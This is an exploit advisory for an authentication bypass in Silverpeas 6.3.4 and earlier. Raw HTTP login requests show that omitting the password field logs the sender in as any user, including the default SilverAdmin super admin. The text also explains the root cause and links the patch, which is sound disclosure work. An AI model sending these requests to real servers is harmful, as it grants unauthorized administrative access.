Exploit Author: Chris Pritchard chris@grislygrotto.nz
Vendor Homepage: https://silverpeas.org/
Software Link: https://silverpeas.org/
Silverpeas up to and including 6.3.4 is vulnerable to a trivial authentication bypass. When authenticating, if the sender omits the password form field, the application will sign you in as the user specified without any challenge.
E.g. the standard login request will look like this:
POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded
Login=SilverAdmin&Password=SilverAdmin&DomainId=0
This will fail login (unless they have forgotten to change the default password) and you will be redirected back to the login page with an error code.
But if you remove the password field like this:
POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded
Login=SilverAdmin&DomainId=0
Then the login attempt will (usually) succeed and redirect you to the main page, now logged in as a super admin.
The bug works with any valid user, but SilverAdmin is the default super admin.
The issue was a failure in how the app handled different login methods. The code that authenticated the user by username would assume if a password had not been sent then it was a SSO-based login, where no password was required. This was patched as bug #14156, where they set an 'remotely authenticated' flag intially and check that later rather than just checking if the password value is null: https://github.com/Silverpeas/Silverpeas-Core/commit/11fb5e21c252ce4751b85fccf5b8076156e0b4f0